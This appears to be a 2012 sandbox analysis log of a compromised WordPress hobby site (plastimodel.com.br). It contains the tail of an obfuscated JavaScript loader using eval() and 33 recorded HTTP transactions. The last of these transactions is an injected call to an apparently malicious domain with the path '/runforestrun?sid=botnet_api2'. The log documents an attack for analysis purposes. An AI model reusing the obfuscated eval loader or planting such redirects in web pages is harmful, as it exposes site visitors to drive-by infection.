);
if (typeof _typeof_ != "undefined") {
    geaxFOHy.eJxHzs()
} else {
    eval(lOFZuLlGBWo.eJxHzs());
    eval(geaxFOHy.eJxHzs())
};

Executed Writes (0)



HTTP Transactions (33)


Request Response
GET /wp-includes/js/l10n.js?ver=20101110 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/plugins/contact-form-7/styles.css?ver=3.1.1 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: text/css
Content-Length: 887
Last-Modified: Sat, 03 Mar 2012 21:00:01 GMT
Accept-Ranges: bytes
Etag: &quot;76ad6d9980f9cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/images/favicon.ico HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: image/x-icon
Content-Length: 2238
Last-Modified: Sun, 09 Oct 2011 17:25:18 GMT
Accept-Ranges: bytes
Etag: &quot;707c5b6aa886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/javascripts/ajaxtabs.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/javascripts/jquery.min.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/javascripts/menu.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/06/airbrush.jpg&h=36&w=36&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/06/airbrush.jpg&amp;h=36&amp;w=36&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 1464
Expires: Mon, 25 Jun 2012 23:34:19 GMT
Last-Modified: Mon, 25 Jun 2012 23:34:19 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/cabine-pintura.jpg&h=36&w=36&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/cabine-pintura.jpg&amp;h=36&amp;w=36&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 1149
Expires: Fri, 08 Jun 2012 23:32:38 GMT
Last-Modified: Fri, 08 Jun 2012 23:32:38 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/style.css HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: text/css
Content-Length: 18059
Last-Modified: Sun, 09 Oct 2011 17:27:01 GMT
Accept-Ranges: bytes
Etag: &quot;66bad0a7a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/interm06.jpg&h=36&w=36&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/interm06.jpg&amp;h=36&amp;w=36&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 1199
Expires: Fri, 02 Mar 2012 15:33:26 GMT
Last-Modified: Fri, 02 Mar 2012 15:33:26 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/02.jpg&h=36&w=36&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/02.jpg&amp;h=36&amp;w=36&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 1097
Expires: Fri, 02 Mar 2012 15:33:26 GMT
Last-Modified: Fri, 02 Mar 2012 15:33:26 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/00introducao.jpg&h=36&w=36&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/00introducao.jpg&amp;h=36&amp;w=36&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 1425
Expires: Fri, 02 Mar 2012 15:33:26 GMT
Last-Modified: Fri, 02 Mar 2012 15:33:26 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-includes/js/jquery/jquery.js?ver=1.6.1 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Content-Length: 133436
Last-Modified: Sun, 12 Aug 2012 07:14:57 GMT
Accept-Ranges: bytes
Etag: &quot;ce20dd2d5a78cd1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/javascripts/ajaxtabs.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/plugins/contact-form-7/jquery.form.js?ver=2.96 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/plugins/contact-form-7/scripts.js?ver=3.1.1 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/11/em_construcao.jpg&h=100&w=100&zc=1 HTTP/1.1

Host: www.plastimodel.com.br
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/11/em_construcao.jpg&amp;h=100&amp;w=100&amp;zc=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: image/jpeg
Cache-Control: max-age=9999, must-revalidate
Content-Length: 3177
Expires: Sun, 06 Nov 2011 23:41:15 GMT
Last-Modified: Sun, 06 Nov 2011 23:41:15 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/themes/portal/javascripts/menu.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/themes/portal/javascripts/jquery.min.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:23 GMT
GET /wp-content/themes/portal/javascripts/jquery-ui.min.js HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Content-Length: 257361
Last-Modified: Sun, 12 Aug 2012 07:20:50 GMT
Accept-Ranges: bytes
Etag: &quot;6af55205b78cd1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:19 GMT
GET /wp-content/themes/portal/images/bkg.png HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/png
Content-Length: 4874
Last-Modified: Sun, 09 Oct 2011 17:24:45 GMT
Accept-Ranges: bytes
Etag: &quot;c6a09a56a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/searchbg.gif HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 71
Last-Modified: Sun, 09 Oct 2011 17:25:59 GMT
Accept-Ranges: bytes
Etag: &quot;f6ea382a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/plugins/contact-form-7/jquery.form.js?ver=2.96 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/bullet.gif HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 13112
Last-Modified: Sun, 09 Oct 2011 17:25:02 GMT
Accept-Ranges: bytes
Etag: &quot;56fd1b61a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/rss.gif HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 13280
Last-Modified: Sun, 09 Oct 2011 17:25:59 GMT
Accept-Ranges: bytes
Etag: &quot;9caca082a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/arrow_right.gif HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 130
Last-Modified: Sun, 09 Oct 2011 17:24:24 GMT
Accept-Ranges: bytes
Etag: &quot;fac1b4aa886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/bkg_rodape.png HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/png
Content-Length: 5648
Last-Modified: Sun, 09 Oct 2011 17:24:58 GMT
Accept-Ranges: bytes
Etag: &quot;c26d425ea886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/plugins/contact-form-7/scripts.js?ver=3.1.1 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8
HTTP/1.1 404 Not Found

Content-Type: text/html
Content-Length: 1081
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/home-small.gif HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 13386
Last-Modified: Sun, 09 Oct 2011 17:25:36 GMT
Accept-Ranges: bytes
Etag: &quot;2103575a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/menu.jpg HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/jpeg
Content-Length: 13124
Last-Modified: Sun, 09 Oct 2011 17:25:58 GMT
Accept-Ranges: bytes
Etag: &quot;a665f781a886cc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /wp-content/themes/portal/images/logo2.png HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/wp-content/themes/portal/style.css
HTTP/1.1 200 OK

Content-Type: image/png
Content-Length: 30188
Last-Modified: Mon, 07 Nov 2011 10:34:46 GMT
Accept-Ranges: bytes
Etag: &quot;a26de0de389dcc1:23d0d&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Tue, 13 Nov 2012 18:56:25 GMT
GET /runforestrun?sid=botnet_api2 HTTP/1.1

Host: llydhuumhepr.isynqrpskeqogkzr.waw.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.plastimodel.com.br/?cat=8


GET /?cat=8 HTTP/1.1

Host: www.plastimodel.com.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.6, PleskWin, ASP.NET
X-Pingback: http://www.plastimodel.com.br/xmlrpc.php
Date: Tue, 13 Nov 2012 18:56:18 GMT
Connection: close